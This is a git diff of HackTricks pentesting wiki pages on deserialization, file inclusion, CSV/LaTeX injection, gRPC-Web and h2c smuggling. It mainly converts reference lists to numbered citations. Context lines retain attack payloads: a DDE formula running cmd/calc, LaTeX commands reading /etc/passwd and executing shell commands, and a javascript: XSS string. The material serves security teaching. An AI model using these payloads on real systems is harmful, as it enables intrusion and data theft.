post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).[[33]](#references) ### Bootstrap Caching -Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). +Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).[[34]](#references) Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching: @@ -1200,7 +1172,7 @@ Using the arbitrary file write vulnerability, the attacker writes the crafted ca ### Ruby Marshal exploitation in practice (updated) -Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization. +Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.[[35]](#references) - Minimal vulnerable Rails code path: @@ -1220,7 +1192,7 @@ class UserRestoreController < ApplicationController end ``` -- Common gadget classes seen in real chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`. +- Common gadget classes seen in real chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.[[37]](#references) - Typical side-effect marker embedded in payloads (executed during unmarshal): ``` @@ -1233,30 +1205,52 @@ Where it surfaces in real apps: - Any custom persistence or transport of binary object blobs Industrialized gadget discovery: -- Grep for constructors, `hash`, `_load`, `init_with`, or side-effectful methods invoked during unmarshal -- Use CodeQL’s Ruby unsafe deserialization queries to trace sources → sinks and surface gadgets -- Validate with public multi-format PoCs (JSON/XML/YAML/Marshal) +- Grep for constructors, `hash`, `_load`, `init_with`, or side-effectful methods invoked during unmarshal[[38]](#references) +- Use CodeQL’s Ruby unsafe deserialization queries to trace sources → sinks and surface gadgets[[39]](#references) +- Validate with public multi-format PoCs (JSON/XML/YAML/Marshal)[[40]](#references) ## References -- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/ -- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/ -- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html -- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420 -- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization -- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/ -- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/ -- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization -- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1 -- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html -- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html -- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1 -- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444 -- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ -- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/ -- [OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)](https://www.offsec.com/blog/recent-vulnerabilities-in-redis-servers-lua-scripting-engine-2/) -- [PoC – tecxx/CVE-2025-59287-WSUS](https://github.com/tecxx/CVE-2025-59287-WSUS) -- [RSC Report Lab – CVE-2025-55182 (React 19.2.0)](https://github.com/ghe770mvp/RSC_Vuln_Lab) +- [1] [NotSoSecure – Remote Code Execution via PHP unserialize()](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/) +- [2] [Exploit-DB – Deserialization Vulnerability (PDF)](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) +- [3] [SecurityCafe – Understanding PHP Object Injection](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) +- [4] [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) +- [5] [Huli's Blog – Google CTF 2022 Horkos Writeup](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) +- [6] [OPSECX – Exploiting Node.js Deserialization Bug for Remote Code Execution](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) +- [7] [Acunetix – Deserialization Vulnerabilities: Attacking Deserialization in JS](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) +- [8] [HackerOne Report #350418 – Cryo library RCE](https://hackerone.com/reports/350418) +- [9] [RSC Vuln Lab – CVE-2025-55182 (React 19.2.0 Server Actions)](https://github.com/ghe770mvp/RSC_Vuln_Lab) +- [10] [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/) +- [11] [Foxglove Security – What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) +- [12] [GadgetInspector talk](https://www.youtube.com/watch?v=wPbW6zQ52w8) +- [13] [BlackHat – Automated Discovery of Deserialization Gadget Chains (slides)](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) +- [14] [deadcode.me – Blind Java Deserialization: Commons Gadgets](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) +- [15] [deadcode.me – Blind Java Deserialization Part II](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) +- [16] [AppSecCali – Marshalling Pickles (Java deserialization talk)](http://frohoff.github.io/appseccali-marshalling-pickles/) +- [17] [YouTube – Java deserialization exploitation talk](https://www.youtube.com/watch?v=VviY3O-euVQ) +- [18] [marshalsec paper](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) +- [19] [BlackHat – Friday the 13th: JSON Attacks (paper)](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf) +- [20] [BlackHat – Friday the 13th: JSON Attacks (talk)](https://www.youtube.com/watch?v=oUAeWhW5b8c) +- [21] [BlackHat – Friday the 13th: JSON Attacks (slides)](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- [22] [Seebug Paper – Deserialization CVEs](https://paper.seebug.org/123/) +- [23] [OWASP Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) +- [24] [DZone – Why Runtime Compartmentalization Is the Most Comprehensive Mitigation](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) +- [25] [BlackHat – Pwning Your Java Messaging With Deserialization Vulnerabilities (slides)](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) +- [26] [JMET talk](https://www.youtube.com/watch?v=0h8DWiOWGGA) +- [27] [Forshaw – Are You My Type? (BlackHat 2012 paper)](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) +- [28] [SlideShare – Dangerous Contents: Securing .Net Deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) +- [29] [OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)](https://www.offsec.com/blog/recent-vulnerabilities-in-redis-servers-lua-scripting-engine-2/) +- [30] [PoC – tecxx/CVE-2025-59287-WSUS](https://github.com/tecxx/CVE-2025-59287-WSUS) +- [31] [CodeClimate – Rails Remote Code Execution Vulnerability Explained](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) +- [32] [StarLabs – Sending Myself GitHub.com Environment Variables and GHES Shell](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) +- [33] [GitHub Blog – Execute Commands by Sending JSON: Learn How Unsafe Deserialization Vulnerabilities Work in Ruby Projects](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/) +- [34] [Conviso AppSec – From Arbitrary File Write to RCE in Restricted Rails Apps](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) +- [35] [Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits](https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/) +- [36] [elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain](https://www.elttam.com/blog/ruby-deserialization/) +- [37] [Trail of Bits – Auditing RubyGems.org (Marshal findings)](https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/) +- [38] [Include Security – Discovering Deserialization Gadget Chains in Rubyland](https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/) +- [39] [GitHub Security Lab – Ruby Unsafe Deserialization (CodeQL query help)](https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/) +- [40] [GitHub Security Lab – Ruby Unsafe Deserialization PoCs repo](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md index ea0efbca217..7a6802c0cc6 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**Check the full details of this technique in [https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)** +**Check the full details of this technique in [https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)**[[1]](#references) ## **PHP File uploads** @@ -31,9 +31,10 @@ In certain situations, a more specific mask (like `php1<<` or `phpA<<`) might be ### Exploitation on GNU/Linux Systems -For GNU/Linux systems, the randomness in temporary file naming is robust, rendering the names neither predictable nor susceptible to brute force attacks. Further details can be found in the referenced documentation. - -{{#include ../../banners/hacktricks-training.md}} +For GNU/Linux systems, the randomness in temporary file naming is robust, rendering the names neither predictable nor susceptible to brute force attacks. Further details can be found in the referenced documentation.[[1]](#references) +## References +- [1] [PHP LFI rfc1867 file upload temporary files (gynvael.coldwind.pl)](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf) +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/phar-deserialization.md b/src/pentesting-web/file-inclusion/phar-deserialization.md index 6e27e1a3c81..3e6e803271b 100644 --- a/src/pentesting-web/file-inclusion/phar-deserialization.md +++ b/src/pentesting-web/file-inclusion/phar-deserialization.md @@ -4,7 +4,7 @@ **Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code. -The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**. +The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**.[[1]](#references) So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one: @@ -65,11 +65,8 @@ And execute the `whoami` command abusing the vulnerable code with: php vuln.php ``` -### References +## References - -{{#ref}} -https://blog.ripstech.com/2018/new-php-exploitation-technique/ -{{#endref}} +- [1] [PHP Object Injection via phar:// metadata deserialization (RIPS Technologies blog)](https://blog.ripstech.com/2018/new-php-exploitation-technique/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md index f723cfef2c6..1b9e070e518 100644 --- a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md +++ b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md @@ -27,16 +27,19 @@ Note that with **`PHP_SESSION_UPLOAD_PROGRESS`** you can **control data inside t ### The CTF -In the [**original CTF**](https://blog.orange.tw/2018/10/) where this technique is commented, it wasn't enough to exploit the Race Condition but the content loaded needed to start also with the string `@[[1]](#references) Due to the default setting of `session.upload_progress.prefix`, our **SESSION file will start with a annoying prefix** `upload_progress_` Such as: `upload_progress_controlledcontentbyattacker` -The trick to **remove the initial prefix** was to **base64encode the payload 3 times** and then decode it via `convert.base64-decode` filters, this is because when **base64 decoding PHP will remove the weird characters**, so after 3 times **only** the **payload** **sent** by the attacker will **remain** (and then the attacker can control the initial part). +The trick to **remove the initial prefix** was to **base64encode the payload 3 times** and then decode it via `convert.base64-decode` filters, this is because when **base64 decoding PHP will remove the weird characters**, so after 3 times **only** the **payload** **sent** by the attacker will **remain** (and then the attacker can control the initial part).[[1]](#references) -More information in the original writeup [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) and final exploit [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\ -Another writeup in [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) - -{{#include ../../banners/hacktricks-training.md}} +More information in the original writeup [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) and final exploit [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)[[1]](#references)[[2]](#references)\ +Another writeup in [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)[[3]](#references) +## References +- [1] [HITCON CTF 2018 - One Line PHP Challenge (Orange Tsai)](https://blog.orange.tw/2018/10/) +- [2] [exp_for_php.py - final exploit script (orangetw/My-CTF-Web-Challenges)](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py) +- [3] [One Line PHP Challenge and the Return of One Line PHP Challenge writeup](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md b/src/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md index 538e410463d..6e4cf063aa6 100644 --- a/src/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md +++ b/src/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md @@ -2,9 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -**Check [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)** - -{{#include ../../banners/hacktricks-training.md}} +**Check [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**[[1]](#references) +## References +- [1] [Multiple PDF Vulnerabilities - Text and CORS bypass (insert-script blog)](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html) +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md b/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md index 2d6efe7d860..7187f993478 100644 --- a/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md +++ b/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md @@ -11,7 +11,9 @@ If your **input** is being **reflected** inside **CSV file**s (or any other file > [!CAUTION] > Nowadays **Excel will alert** (several times) the **user when something is loaded from outside the Excel** in order to prevent him to from malicious action. Therefore, special effort on Social Engineering must be applied to he final payload. -### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) +### Wordlist + +Payloads taken from [payloadbox/csv-injection-payloads](https://github.com/payloadbox/csv-injection-payloads).[[1]](#references) ``` DDE ("cmd";"/C calc";"!A0")A0 @@ -26,7 +28,7 @@ DDE ("cmd";"/C calc";"!A0")A0 **The following example is very useful to exfiltrate content from the final excel sheet and to perform requests to arbitrary locations. But it requires the use to click on the link (and accept the warning prompts).** -The following example was taken from [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) +The following example was taken from [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)[[2]](#references) Imagine a security breach in a Student Record Management system is exploited through a CSV injection attack. The attacker's primary intention is to compromise the system used by teachers to manage student details. The method involves the attacker injecting a malicious payload into the application, specifically by entering harmful formulas into fields meant for student details. The attack unfolds as follows: @@ -45,7 +47,7 @@ Imagine a security breach in a Student Record Management system is exploited thr ### RCE -**Check the** [**original post**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **for further details.** +**Check the** [**original post**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **for further details.**[[3]](#references) In specific configurations or older versions of Excel, a feature called Dynamic Data Exchange (DDE) can be exploited for executing arbitrary commands. To leverage this, the following settings must be enabled: @@ -90,13 +92,13 @@ This program uses 3 main attributes to (dis)allow command execution: - **`--no-shell-escape`**: **Disable** the `\write18{command}` construct, even if it is enabled in the texmf.cnf file. - **`--shell-restricted`**: Same as `--shell-escape`, but **limited** to a 'safe' set of **predefined** **commands (**On Ubuntu 16.04 the list is in `/usr/share/texmf/web2c/texmf.cnf`). -- **`--shell-escape`**: **Enable** the `\write18{command}` construct. The command can be any shell command. This construct is normally disallowed for security reasons. +- **`--shell-escape`**: **Enable** the `\write18{command}` construct. The command can be any shell command. This construct is normally disallowed for security reasons.[[5]](#references) However, there are other ways to execute commands, so to avoid RCE it's very important to use `--shell-restricted`. ### Read file -You might need to adjust injection with wrappers as \[ or $. +You might need to adjust injection with wrappers as \[ or $.[[6]](#references) ```bash \input{/etc/passwd} @@ -139,7 +141,7 @@ You might need to adjust injection with wrappers as \[ or $. ### Command execution -The input of the command will be redirected to stdin, use a temp file to get it. +The input of the command will be redirected to stdin, use a temp file to get it.[[7]](#references) ```bash \immediate\write18{env > output} @@ -178,7 +180,7 @@ If you get any LaTex error, consider using base64 to get the result without bad ### Cross Site Scripting -From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) +From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)[[4]](#references) ```bash \url{javascript:alert(1)} @@ -187,16 +189,17 @@ From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) ## Ghostscript Injection -**Check** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) +**Check** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)[[8]](#references) ## References -- [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) -- [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) -- [https://salmonsec.com/cheatsheet/latex_injection](https://salmonsec.com/cheatsheet/latex_injection) -- [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) +- [1] [CSV Injection Payloads (payloadbox)](https://github.com/payloadbox/csv-injection-payloads) +- [2] [CSV Injection: Basic to Exploit (payatu)](https://payatu.com/csv-injection-basic-to-exploit) +- [3] [Data Exfiltration via Formula Injection (notsosecure)](https://notsosecure.com/data-exfiltration-formula-injection-part1) +- [4] [@EdOverflow tweet on LaTeX XSS payloads](https://twitter.com/intigriti/status/1101509684614320130) +- [5] [Hacking with LaTeX](https://0day.work/hacking-with-latex/) +- [6] [LaTeX Injection cheatsheet (salmonsec)](https://salmonsec.com/cheatsheet/latex_injection) +- [7] [Pwning coworkers thanks to LaTeX (scumjr)](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) +- [8] [Ghostscript: An Overview (RedTeam Pentesting blog)](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/grpc-web-pentest.md b/src/pentesting-web/grpc-web-pentest.md index 2b52bfc837b..249016eecd5 100644 --- a/src/pentesting-web/grpc-web-pentest.md +++ b/src/pentesting-web/grpc-web-pentest.md @@ -8,7 +8,7 @@ - Content-Types you will see: - application/grpc-web (binary framing) - application/grpc-web-text (base64-encoded framing for HTTP/1.1 streaming) -- Framing: every message is prefixed with a 5‑byte gRPC header (1‑byte flags + 4‑byte length). In gRPC‑Web, trailers (grpc-status, grpc-message, …) are sent inside the body as a special frame: first byte with MSB set (0x80) followed by a length and a HTTP/1.1‑style header block. +- Framing: every message is prefixed with a 5‑byte gRPC header (1‑byte flags + 4‑byte length). In gRPC‑Web, trailers (grpc-status, grpc-message, …) are sent inside the body as a special frame: first byte with MSB set (0x80) followed by a length and a HTTP/1.1‑style header block.[[3]](#references) - Common request headers: x-grpc-web: 1, x-user-agent: grpc-web-javascript/…, grpc-timeout, grpc-encoding. Responses expose grpc-status/grpc-message via trailers/body frames and often via Access-Control-Expose-Headers for browsers. - Security‑relevant middleware often present: - Envoy grpc_web filter and gRPC‑JSON transcoder (HTTP<->gRPC bridge) @@ -18,7 +18,7 @@ What this means for attackers: - You can craft requests by hand (binary or base64 text), or let tooling generate/encode them. - CORS mistakes on the proxy can allow cross‑site, authenticated gRPC‑Web calls (similar to classic CORS issues). -- JSON transcoding bridges may unintentionally expose gRPC methods as unauthenticated HTTP endpoints if routes/auth are misconfigured. +- JSON transcoding bridges may unintentionally expose gRPC methods as unauthenticated HTTP endpoints if routes/auth are misconfigured.[[1]](#references) ## Testing gRPC‑Web from the CLI @@ -80,7 +80,7 @@ For generic techniques to abuse CORS, check [CORS - Misconfigurations & Bypass]( gRPC‑Web uses Content-Type: application/grpc-web-text as a base64‑wrapped gRPC frame stream for browser compatibility. You can decode/modify/encode frames to tamper with fields, flip flags, or inject payloads. -Use the [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) tool (and its Burp extension) to speed up round‑trips. +Use the [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) tool (and its Burp extension) to speed up round‑trips.[[2]](#references) ### Manual with gGRPC Coder Tool @@ -244,8 +244,8 @@ curl -i https://host.tld/pkg.svc.v1.Service/Method \ ## References -- [Hacking into gRPC‑Web Article by Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45) -- [gRPC‑Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) -- [gRPC‑Web protocol notes (PROTOCOL‑WEB.md)](https://chromium.googlesource.com/external/github.com/grpc/grpc/%2B/v1.16.1/doc/PROTOCOL-WEB.md) +- [1] [Hacking into gRPC‑Web Article by Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45) +- [2] [gRPC‑Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) +- [3] [gRPC‑Web protocol notes (PROTOCOL‑WEB.md)](https://chromium.googlesource.com/external/github.com/grpc/grpc/%2B/v1.16.1/doc/PROTOCOL-WEB.md) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/h2c-smuggling.md b/src/pentesting-web/h2c-smuggling.md index 8af5e2efc92..d898e2f7049 100644 --- a/src/pentesting-web/h2c-smuggling.md +++ b/src/pentesting-web/h2c-smuggling.md @@ -16,7 +16,7 @@ HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA Connection: Upgrade, HTTP2-Settings ``` -The vulnerability arises when, after upgrading a connection, the reverse proxy ceases to manage individual requests, assuming its job of routing is complete post-connection establishment. Exploiting H2C Smuggling allows for circumvention of reverse proxy rules applied during request processing, such as path-based routing, authentication, and WAF processing, assuming an H2C connection is successfully initiated. +The vulnerability arises when, after upgrading a connection, the reverse proxy ceases to manage individual requests, assuming its job of routing is complete post-connection establishment. Exploiting H2C Smuggling allows for circumvention of reverse proxy rules applied during request processing, such as path-based routing, authentication, and WAF processing, assuming an H2C connection is successfully initiated.[[1]](#references)[[2]](#references) #### Vulnerable Proxies @@ -35,7 +35,7 @@ Conversely, these services do not inherently forward both headers during proxy-p - Varnish - Kong - Envoy -- Apache Traffic Server +- Apache Traffic Server[[1]](#references) #### Exploitation @@ -44,13 +44,13 @@ It's crucial to note that not all servers inherently forward the headers require > [!CAUTION] > Irrespective of the specific **path** designated in the `proxy_pass` URL (e.g., `http://backend:9999/socket.io`), the established connection defaults to `http://backend:9999`. This allows for interaction with any path within that internal endpoint, leveraging this technique. Consequently, the specification of a path in the `proxy_pass` URL does not restrict access. -The tools [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) and [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitate attempts to **circumvent proxy-imposed protections** by establishing an H2C connection, thereby enabling access to resources shielded by the proxy. +The tools [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) and [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitate attempts to **circumvent proxy-imposed protections** by establishing an H2C connection, thereby enabling access to resources shielded by the proxy.[[2]](#references)[[1]](#references) For additional information on this vulnerability, particularly concerning NGINX, refer to [**this detailed resource**](../network-services-pentesting/pentesting-web/nginx.md#proxy_set_header-upgrade-and-connection). ## Websocket Smuggling -Websocket smuggling, unlike creating a HTTP2 tunnel to an endpoint accessible via a proxy, establishes a Websocket tunnel to bypass potential proxy limitations and facilitate direct communication with the endpoint. +Websocket smuggling, unlike creating a HTTP2 tunnel to an endpoint accessible via a proxy, establishes a Websocket tunnel to bypass potential proxy limitations and facilitate direct communication with the endpoint.[[3]](#references) ### Scenario 1 @@ -85,12 +85,10 @@ Most reverse proxies are vulnerable to this scenario, but exploitation is contin Check the labs to test both scenarios in [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) -### References +## References -- [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/) -- [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request) -- [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) +- [1] [H2C Smuggling: Request Smuggling Via HTTP/2 Cleartext (Assetnote)](https://blog.assetnote.io/2021/03/18/h2c-smuggling/) +- [2] [H2C Smuggling: Request Smuggling Via HTTP/2 Cleartext (BishopFox)](https://bishopfox.com/blog/h2c-smuggling-request) +- [3] [Websocket smuggling research and labs (0ang3el/websocket-smuggle)](https://github.com/0ang3el/websocket-smuggle.git) {{#include ../banners/hacktricks-training.md}} - - diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index 88e78236803..4495b6a6e41 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -**Part of this post is based in the awesome post:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\ +**Part of this post is based in the awesome post:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)[[3]](#references)\ **Author of the great tool to pentest JWTs** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool) ### **Quick Wins** @@ -36,7 +36,7 @@ You can also use the [**Burp Extension 